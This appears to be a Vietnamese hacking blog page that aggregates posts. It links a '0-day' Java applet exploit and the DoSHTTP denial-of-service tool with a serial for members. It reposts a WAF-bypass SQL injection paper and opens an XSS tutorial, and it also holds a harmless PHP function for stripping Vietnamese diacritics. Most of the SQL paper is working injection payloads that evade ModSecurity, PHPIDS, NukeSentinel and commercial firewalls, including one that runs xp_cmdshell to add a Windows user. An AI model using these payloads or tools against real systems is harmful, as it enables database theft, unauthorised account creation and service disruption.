hacker va bao mat

Link down script: http://www.mediafire.com/?dz0awy2tk3c73a3
Link java version 1.7.0.1: http://www.mediafire.com/?k31c0qikq25h325

[TUT] 0-day java applet exploit

By: MIN Software on: 4:02 AM

Enter any text in the field below. Your attack will be reflected back to this page, sanitized by HTMLSanitizer. Try to XSS this!

Site: http://canyouxssthis.com/HTMLSanitizer/

http://i942.photobucket.com/albums/ad269/juno_okyo/Upload%20via%20Firefox/xss-1.png

Can You XSS This?

By: MIN Software on: 2:56 AM

Function khá hay các bạn áp dụng vào thẻ title hoặc vào các mục đích khác nhau.
Yêu cầu: Bạn phải lưu file php theo charset là UTF-8. Có thể dùng Notepad hoặc Editplus version mới nhất

function khongdau($str) {

     $str = preg_replace("/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/", 'a', $str);

     $str = preg_replace("/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/", 'e', $str);

     $str = preg_replace("/(ì|í|ị|ỉ|ĩ)/", 'i', $str);

     $str = preg_replace("/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/", 'o', $str);

     $str = preg_replace("/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/", 'u', $str);

     $str = preg_replace("/(ỳ|ý|ỵ|ỷ|ỹ)/", 'y', $str);

     $str = preg_replace("/(đ)/", 'd', $str);

    

     $str = preg_replace("/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/", 'A', $str);

     $str = preg_replace("/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/", 'E', $str);

     $str = preg_replace("/(Ì|Í|Ị|Ỉ|Ĩ)/", 'I', $str);

     $str = preg_replace("/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/", 'O', $str);

     $str = preg_replace("/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/", 'U', $str);

     $str = preg_replace("/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/", 'Y', $str);

     $str = preg_replace("/(Đ)/", 'D', $str);

     //$str = str_replace(" ", "-", str_replace("&*#39;","",$str));

     return $str;

     }

-Cách sử dụng:

<?php

         $string = "Cộng hòa xã hội chủ nghĩa Việt Nam";

         $xstring = khongdau($string);

        

         echo $xstring;

        

         //Kết quả:

         //Output: Cong hoa xa hoi chu nghia Viet Nam

         ?>

Hàm chuyển chuỗi tiếng việt có dấu thành tiếng việt không dấu

By: MIN Software on: 2:10 AM

Download: http://www.socketsoft.net/products.asp?p=doshttp

Serial: (Only Juno_okyo's Blog Members)

Enjoy it!

DoSHTTP 2.5.1 (Professional Edition)

By: MIN Software on: 1:20 AM

  |=--------------------------------------------------------------------=|
  |=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
  |=-------------------------=[ 6 October 2011 ]=-----------------------=|
  |=----------------------=[  By CWH Underground  ]=--------------------=|
  |=--------------------------------------------------------------------=|
    

######
 Info
######

Title : Beyond SQLi: Obfuscate and Bypass
Author : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team    : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date : 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

  [0x01a] - Bypass Functions and Keywords Filtering
  [0x01b] - Bypass Regular Expression Filtering
  
  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

  [0x03a] - HTTP Parameter Pollution: Split and Join
  [0x03b] - HTTP Parameter Contamination
    
  [0x04] - How to protect your website

  [0x05] - Conclusion

  [0x06] - References

  [0x07] - Greetz To


#######################
 [0x00] - Introduction
#######################

 Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. 
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. 
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system 
in the real world even though you spend more than 300,000 USD on a WAF.

 This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

 Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution. 
The last, section 0x05, It's conclusion from Section 0x01-0x04.


#################################
 [0x01] - Filter Evasion (Mysql)
#################################
 
 This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. 
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

 +++++++++++++++++++++++++++++++++++++++++++++++++++
  [0x01a] - Bypass Functions and Keywords Filtering
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 
  Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. 
 However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users 
 when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

  
  Keyword filer:   and, or
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or)/i', $id)

  THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.

  Filtered injection: 1 or 1 = 1  1 and 1 = 1
  Bypassed injection: 1 || 1 = 1  1 && 1 = 1
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union)/i', $id)

  The keyword union is generally used to generate an malicious statement in order to select extra data from the database. 

  Filtered injection: union select user, password from users
  Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

  ** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement 
  e.g. use substring function to get each character of table names.
  ----------------------------------------------------------------------

  
  Keyword filer:   and, or, union, where
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where)/i', $id)
  Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
  Bypassed injection: 1 || (select user from users limit 1) = 'admin'
  ----------------------------------------------------------------------

  
  Keyword filer:   and, or, union, where, limit
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
  Filtered injection: 1 || (select user from users limit 1) = 'admin'
  Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union, where, limit, group by
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
  Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
  ----------------------------------------------------------------------

  
  Keyword filer:   and, or, union, where, limit, group by, select
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
  Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
  Bypassed injection: 1 || substr(user,1,1) = 'a'
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union, where, limit, group by, select, '
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
  Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  Bypassed injection: 1 || user_id is not null
  Bypassed injection: 1 || substr(user,1,1) = 0x61
  Bypassed injection: 1 || substr(user,1,1) = unhex(61)
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union, where, limit, group by, select, ', hex
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
  Filtered injection: 1 || substr(user,1,1) = unhex(61)
  Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union, where, limit, group by, select, ', hex, substr
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
  Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
  Bypassed injection: 1 || lpad(user,7,1)
  ----------------------------------------------------------------------


  Keyword filer:   and, or, union, where, limit, group by, select, ', hex, substr, white space
  ----------------------------------------------------------------------
  PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
  Filtered injection: 1 || lpad(user,7,1)
  Bypassed injection: 1%0b||%0blpad(user,7,1)
  ----------------------------------------------------------------------


  From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. 
 Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

  Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


 +++++++++++++++++++++++++++++++++++++++++++++++
  [0x01b] - Bypass Regular Expression Filtering
 +++++++++++++++++++++++++++++++++++++++++++++++

  Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. 
 However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

 PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols. 

 [Code]---------------------------------------------------------------  
 filtered injection:  1 or 1 = 1
 Bypassed injection:  1 or 1
 [End Code]----------------------------------------------------------- 

 [Code]---------------------------------------------------------------  
 filtered injection:  1 union select 1, table_name from information_schema.tables where table_name = 'users'
 filtered injection:  1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
 filtered injection:  1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
 Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
 Bypassed Injection:  1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
 [End Code]----------------------------------------------------------- 



########################################
 [0x02] - Normally Bypassing Techniques
########################################

 In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?
 
 A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. 
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, 
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
 WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

 Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

 
 1. Bypass with Comments

  SQL comments allow us to bypass a lot of filtering and WAFs.
 
  [Code]---------------------------------------------------------------  
  http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
  [End Code]-----------------------------------------------------------


 2. Case Changing

  Some WAFs filter only lowercase SQL keyword. 

  Regex Filter: /union\sselect/g
 
  [Code]---------------------------------------------------------------  
  http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
  [End Code]-----------------------------------------------------------


 3. Replaced keywords

  Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily. 
 
  [Code]---------------------------------------------------------------  
  http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
  [End Code]-----------------------------------------------------------

  Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.

  [Code]---------------------------------------------------------------  
  http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
  [End Code]-----------------------------------------------------------

  For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

  Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
  Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
 


 4. Character encoding

  Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so 
  double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
  decoding the SQL statement executing
 
  [Code]-----------------------------------------------------------------------------------------------------------------
  http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
  [End Code]-------------------------------------------------------------------------------------------------------------
    
  Moreover, these techniques can combine to bypass Citrix Netscaler
   - Remove all "NULL" words
   - Use query encoding in some parts
   - Remove the single quote character "'"
   - And Have fun !!
   Credit: Wendel Guglielmetti Henrique 
  
  and "Armorlogic Profense"  prior to 2.4.4 was bypassed by URL-encoded newline character.


  #Real World Example
  
  1. NukeSentinel (Nuke Evolution)
  
  [Nukesentinel.php Code]------------------------------------------------------------
  // Check for UNION attack
  // Copyright 2004(c) Raven PHP Scripts
  $blocker_row = $blocker_array[1];
  if($blocker_row['activate'] > 0) {
    if (stristr($nsnst_const['query_string'],'+union+') OR \
  stristr($nsnst_const['query_string'],'%20union%20') OR \
  stristr($nsnst_const['query_string'],'*/union/*') OR \
  stristr($nsnst_const['query_string'],' union ') OR \
  stristr($nsnst_const['query_string_base64'],'+union+') OR \
  stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
  stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
  stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
     die("BLOCK IP 1 " );
    }
  }
  [End Code]-------------------------------------------------------------------------

  We can bypass their filtering with these script:
  
  Forbidden: http://victim.com/php-nuke/?/**/union/**/select…..
  Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
  Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…


  2. Mod Security CRS (Credit: Johannes Dahse)
  
  [SecRule]--------------------------------------------------------------------------
  SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
  t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
  msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
  tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
  setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
  setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
  [End Rule]-------------------------------------------------------------------------

  We can bypass their filtering with this code:
  
  [Code]------------------------------------------------------------------------------
  http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
  [End Code]--------------------------------------------------------------------------

  From this attack, We can bypass Mod Security rule. Let see what's happen !! 
  
  MySQL Server supports 3 comment styles:
   - From a "#" character to the end of the line
   - From a "--" sequence to the end of the line
   - From a /* sequence to the following */ sequence, as in the C programming language.
     This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
     not be on the same line.

  The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
  The resulting SQL payload looked something like this:

   0 div 1 union#foo*/*/bar
   select#foo
   1,2,current_user
  
  However the SQL payload, when executed by the MySQL DB, looked something like this:

   0 div 1 union select 1,2,current_user 


 5. Buffer Overflow

  WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
  Give a large amount of data allows our code executing 
 
  [Code]------------------------------------------------------------------------------
  http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
  414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
  [End Code]--------------------------------------------------------------------------

 
 6. Inline Comments (Mysql Only)

  From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
  code that includes MySQL extensions, but is still portable, by using comments of the following form:

  /*! MySQL-specific code */
  
  In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
  but other SQL servers will ignore the extensions.
  
  A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
  
  [Code]------------------------------------------------------------------------------
  http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
  [End Code]--------------------------------------------------------------------------
  
  Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
  add more inline comments
 
  [Code]------------------------------------------------------------------------------
  http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
  /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
  [End Code]--------------------------------------------------------------------------


 
######################################## 
 [0x03] - Advanced Bypassing Techniques
########################################
  
 In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination". 
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
     
     
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
  [0x03a] - HTTP Parameter Pollution: Split and Join
 ++++++++++++++++++++++++++++++++++++++++++++++++++++

  HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
 effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting 
 query string. 

 Example of HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"

 HTTP Parameter Handling: (Example)
 
 +------------------------------------------------------------------+
 | Web Server    | Parameter Interpretation  | Example    |
 +------------------------------------------------------------------+
 | ASP.NET/IIS   | Concatenation by comma  | par1=val1,val2  |
 | ASP/IIS   | Concatenation by comma  | par1=val1,val2  |
 | PHP/Apache   | The last param is resulting  | par1=val2    |
 | JSP/Tomcat   | The first param is resulting | par1=val1    |
 | Perl/Apache   | The first param is resulting | par1=val1    |
 | DBMan    | Concatenation by two tildes  | par1=val1~~val2 |
 +------------------------------------------------------------------+
 
  What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
 Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
 multiple occurrences (ASP, ASP.NET, DBMan,…) an aggressor can split the malicious payload.

  In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.
 This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below: 

 
 #Real World Example:

 1. Mod Security CRS (Credit: Lavakumar Kuppan)
  
  The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
  
  Forbidden: http://victim.com/search.aspx?q=select name,password from users

  When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

  Bypassed : http://victim.com/search.aspx?q=select name&q=password from users

  
  Let's see what's happen, ModSecurity's interpretation is
  
  q=select name
  q=password from users

  ASP/ASP.NET's interpretation is
  q=select name,password from users

  *Tip: This attack can be carried out on a POST variable in a similar way


 2. Commercial WAFs
  
  Forbidden: http://victim.com/search.aspx?q=select name,password from users

  Now we use HPP+Inline comment to bypass it.

  Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users

  
  Analyzing, WAF's interpretation is

  q=select/*
  q=*/name
  q=password/*
  q=*/from/*
  q=*/users
  
  ASP/ASP.NET's interpretation is
  q=select/*,*/name,password/*,*/from/*,*/users
  q=select name,password from users


 3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)
  
  Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” --

  Now we use HPP+Inline comment to bypass it.

  Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --

  
  Analyzing, WAF's interpretation is

  id=1’; /*
  id=1*/ EXEC /*
  id=1*/ master..xp_cmdshell /*
  id=1*/ “net user zeq3ul UrWaFisShiT” /*
  id=1*/ --
  
  ASP/ASP.NET's interpretation is
  id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ --
  id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --
  

  The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. 
 This would prevent all variations of this attack.
  However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. 
 And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF 
 should also interpret the HTTP request in the same way the web application would.

  
 ++++++++++++++++++++++++++++++++++++++++
  [0x03b] - HTTP Parameter Contamination
 ++++++++++++++++++++++++++++++++++++++++

  HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
 exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
 parameter contamination with reserved or non expects characters. 
 
 Some facts:
      - The term Query String is commonly used to refer to the part between the  "?" and the end of the URI
 - As defined in the RFC 3986, it is a series of field-value pairs
 - Pairs are separated by "&" or ";"
 - RFC 2396 defines two classes of characters:
  Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
  Reserved  : ; / ? : @ & = + $ ,
  Unwise    : { } | \ ^ [ ] ` 

  Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
 but we will stop here this time.

 Query string and Web server response (Example)
 
 +-----------------------------------------------------------+
 | Query String   |    Web Servers response / GET values    |
 +-----------------------------------------------------------+
 |     | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP     |
 +-----------------------------------------------------------+
 | ?test[1=2   | test_1=2        | test[1=2     |
 | ?test=%     | test=%       | test=     |
 | ?test=1   | test=1              | test=1     |
 | ?test=11   | NULL       | test=1     |
 | ?test+d=1+2   | test_d=1 2       | test d=1 2   |
 +-----------------------------------------------------------+
 
 Magic character "%" affect to ASP/ASP.NET 

 +--------------------------------------------------------------------+
 |  Keywords     |        WAF       |  ASP/ASP.NET     |
 +--------------------------------------------------------------------+
 | sele%ct * fr%om..  | sele%ct * fr%om..    | select * from..  |
 | ;dr%op ta%ble xxx  | ;dr%op ta%ble xxx   | ;drop table xxx  |
 | <scr%ipt>      | <scr%ipt>    | <script>      |
 | <if%rame>      | <if%rame>    | <iframe>         |
 +--------------------------------------------------------------------+


 #Real world examples:

 1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf) 

  [Filtered]----------------------------------------------------------------------------------
 
  [Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" 
  at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] 
  [rev "2.2.0"] [msg  "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] 
  [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

  [End Code]------------------------------------------------------------------------------

  Forbidden: http://localhost/?xp_cmdshell
  Bypassed : http://localhost/?xp[cmdshell

 2. Bypass URLScan 3.1 DenyQueryStringSequences rule
 
  Forbidden: http://localhost/test.asp?file=../bla.txt
  Bypassed : http://localhost/test.asp?file=.%./bla.txt

 3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)

  Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
  Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

  From this situation, Webknight use SQL keywords filtering when we use "HTTP contamination" by insert "%" into SQL keywords WAF is bypassed and sending these
  command to Web server: "id=10 and 1=0/(select top 1 table_name from information_schema.tables)" because "%" is cutter in web server.
 

  These types of hacking techniques are always interesting because they reveal new perspectives on security problems.
 Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors.
  HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with "%" character on an IIS/ASP platform,
 if there is WAF who blocks this kind of an attack.

 

###################################### 
 [0x04] - How to protect your website
######################################

- Implement Software Development Life Cycle (SDLC)
- Secure Coding: Validate all inputs and outputs
- PenTest before online
- Harden it !!
- Revisit PenTest
- Deploy WAF (For Optional)
- Always check WAF patch


##################### 
 [0x05] - Conclusion
#####################
 
- WAFs is not the long-expected
- It's functional limitations, WAF is not able to protect a web app from all possible vulnerabilities
- It's necessary to adapt WAF filter to the particular web app being protected
- WAF doesn't eliminate a vulnerability, It just partly screens the attack vector


#####################
 [0x06] - References
#####################

[1] WAF Bypass: SQL Injection - Kyle
[2] http://cwe.mitre.org/data/definitions/98.html
[3] HTTP Parameter Contamination - Ivan Markovic NSS
[4] Split and Join - Lavakumar Kuppan
[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola
[6] blog.spiderlabs.com


####################
 [0x07] - Greetz To
####################
 
Greetz     :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
Special Thx :  Exploit-db.com


    ----------------------------------------------------
  Our disclosure purpose isn't helping security products but need to reveal theirs shit. 
     Security Products not able to 100% protect from damn config/coding of admin. 
      Just need a time and imagination for breach it !!
    ----------------------------------------------------

Beyond SQLi: Obfuscate and Bypass

By: MIN Software on: 9:25 PM

CVE-2012-5159 phpMyAdmin 3.5.2.2 server_sync.php Backdoor Metasploit Demo

By: MIN Software on: 11:28 AM

 


              XSS Hacking Exposed & Explained
                By: magikh0e
                                                     
                         '\v/`  
                                                            (o 0)  m0o. 
                                                             (_)  / www.IHackedThisBox.com  
                                         
                                         Work with the security community, not against it
     
     

0x1  T.O.C:
(0)  Disclaimer
(0a) Credits
(1)  XSS huh?, what the $#% is XSS? 
(2)  What can YOU do with XSS?
(3)  Finding XSS vulnerabilities.
(4)  Secure your site against XSS.
(5)  Evading XSS detection.


This paper is currently being written.
Last edit Feb 6 2006.


0. (Disclaimer)
=================
IHackedThisBox or any of its members can not be held reliable for what you 
do with the information learned in this article. 

This article like any other IHTB release is intended to improve security, 
not break it. 

That being said use this information wisely, and dont be a dumbass.


0a.  (Credits)
HUP
That guy from.. wait was he even real? wtf?!!?!
c0vert


1. (XSS huh, what the $#%! is XSS?)
======================================

Cross site scripting (XSS) is a type of computer security vulnerability typically found in 
web applications which can be used by an attacker to compromise the same origin policy of 
client-side scripting languages. Alot of webservers by default are also vulnerable to xss
attacks.

IE. 
Novell Netware
--------------
Multiple extensions: .asp, .jsp, .htm, .html
http://novell_netware/nsn/"<script%20language=vbscript>msgbox%20VULN</script>".bas

Apache
---------
http://apache_host/cgi/example?test=<script>alert('xss')</script>


Note that although cross site scripting is also sometimes 
abbreviated "CSS", it has nothing to do with the Cascading Style Sheets technology that is 
more commonly called CSS. 

The term cross site scripting is not a very accurate description of this class of vulnerability. 

In the words of XSS pioneer Marc Slemko:

This issue isn't just about scripting, and there isn't necessarily anything cross site about it. 
So why the name? It was coined earlier on when the problem was less understood, and it stuck. 
Believe me, we have had more important things to do than think of a better name.




2. (What can YOU do with XSS?)
======================================

To date there are three known types of an XSS vulnerability.


Type 1.
---------
This XSS vulnerability is usually called a DOM-based or local XSS. 
Type 1 XSS are issues located on server side scripting.


Type 2.
---------
Type 2 XSS is also called a reflected and/or non-persistent vulnerability. This is one of the most
common types of XSS attacks you will find. These types of XSS attacks are possible when user supplied
data is instantly used by server side scripts to generate a page, based on the users input. 


Type 3.
---------
Type 3 XSS is also called second-order, stored, or persistent vulnerabilities. Type 3 can have 
the most impact out of an XSS vulnerability. Attacks classified in Type 3 will exist when a 
user inputs data provided, to a web app. Next the data is stored persistently on the server in 
a database of some sort. This data is later displayed to a user on the web page. Feel the need
to eat someones c00kies?


Wow mom! Look I know about XSS, but what can I do with it? And how do I defend against it?!?!?




3. (Finding vulnerable XSS applications)
==============================================

XSS vulnerabilities are very easy to find and exploit. 
Alot of administrators & developers simply ignore XSS. 

This is usually for one of two reasons.
1. They do not fully understand the impact of XSS vulnerabilities and simply do not bother.
2. They think XSS is not a big deal..

The first steps to finding XSS vulnerabilities in an application is by examining all error messages closely
given by the server. Many times when you request a file from the server that is not there, the server returns
a page with blah blah filename in quotes stating file not found. Interesting enough lets play around with this.



Basic XSS Examples:

Below is a simple test for XSS vulnerability. 
If a message box appears with the words XSS, 
b00m the site is vulnerable.

